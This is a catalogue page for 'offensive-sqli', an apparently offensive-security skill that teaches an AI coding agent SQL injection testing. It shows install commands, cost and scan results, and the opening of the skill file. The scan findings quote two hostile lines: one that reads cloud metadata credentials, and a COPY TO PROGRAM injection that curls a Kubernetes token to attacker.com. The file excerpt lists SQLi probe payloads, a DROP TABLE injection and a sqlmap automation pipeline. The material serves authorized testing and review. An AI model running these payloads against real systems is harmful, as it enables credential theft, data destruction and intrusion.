offensive-sqli

offensive-sqli is a skill for Claude Code, Codex from SnailSploit/Claude-Red. It costs 117 tokens per session (2,828 once invoked), scanned B, original, MIT.

A guide for testing web applications and APIs for SQL injection, a vulnerability where crafted input changes a database query. It covers several database types and input formats, including NoSQL, GraphQL, WebSockets, and JSON.

In plain words
What is it for?
Use it to map inputs reaching a database, test for visible or hidden injection behavior, identify the database, assess impact, and suggest fixes.
Why use it?
It provides a structured way to find and document database-query flaws during authorized security assessments or bug bounty work.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to map inputs reaching a database, test for visible or hidden injection behavior, identify the database, assess impact, and suggest fixes.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/snailsploit/claude-red/offensive-sqli
About the project

claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.

SnailSploit/Claude-Red · 7,638 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SnailSploit/Claude-Red --skill offensive-sqli
Clone the repo
git clone --depth 1 https://github.com/SnailSploit/Claude-Red

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-sqli

README.md
[![agentmods](https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-sqli/github.svg)](https://agentmods.dev/skills/snailsploit/claude-red/offensive-sqli)
Your own site
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-sqli"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-sqli/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for offensive-sqli

Your own site · 80×15
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-sqli"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-sqli.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 117 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,828 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 7 findings, up to critical

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • critical YARA Match · line 176
    YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
    Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
  • high YARA Match · line 105
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • high Privilege Escalation · line 173
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 200
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Server-Side Request Forgery · line 273
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • high Server-Side Request Forgery · line 287
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • low Privilege Escalation · line 13
    Skill requests more permissions than appear necessary for its stated functionality. Review if elevated access is justified.
    Fix: Request only the minimum permissions required. Document why each permission is needed. Remove broad permissions like '*' or 'all'.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00117 $0.02828
Opus 5.5 $0.00047 $0.01131
Sonnet 5.5 $0.00023 $0.00566
Haiku 4.5 $0.00012 $0.00283

Measured 1mo ago against content hash e9f37270d2cf, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

offensive-sqli scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
Skills/web/offensive-sqli/SKILL.md · 371 lines

How it starts

The opening of the file, as written. The whole thing — 371 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SQL Injection — Offensive Testing Methodology

Quick Workflow

  1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
  2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
  3. Identify database type and enumerate schema
  4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
  5. Document findings and suggest remediation

Detection

Basic Probes — All Input Vectors

' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Error-Based Detection

Trigger syntax errors to reveal database type and query structure:

'  ''  `  "  ""  ,  %  \

Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.

Boolean-Based Blind

' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --

Observe response size/content differences between true and false conditions.

Time-Based Blind

-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --

JSON Operator Probes

-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'

GraphQL → SQLi Pivot

{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}

WebSocket SQLi

const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');

REST API Filter Injection

POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}

Automation Workflow

# Full pipeline
sublist3r -d target | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | tee urls
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch

# Targeted with Burp capture
# 1. Capture request → Send to Active Scanner
# 2. Review SQL findings → manually verify
# 3. Export request file → sqlmap -r req.txt --dbs

# Blind SQLi (Ghauri — faster for time-based)
ghauri -u "https://target.com/page?id=1" --dbs

# Hidden parameter discovery
hakrawler -url https://target.com | tee crawl
arjun -i crawl -oJ params.json

Read the full file on GitHub · 371 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 371 lines · 117 tokens per session scan B e9f37270d2cf

Subscribe to this mod's changes

offensive-sqli is a skill published in the GitHub repository SnailSploit/Claude-Red (7,638 stars, last pushed 9d ago), licensed MIT. It adds 117 tokens to every session and 2,828 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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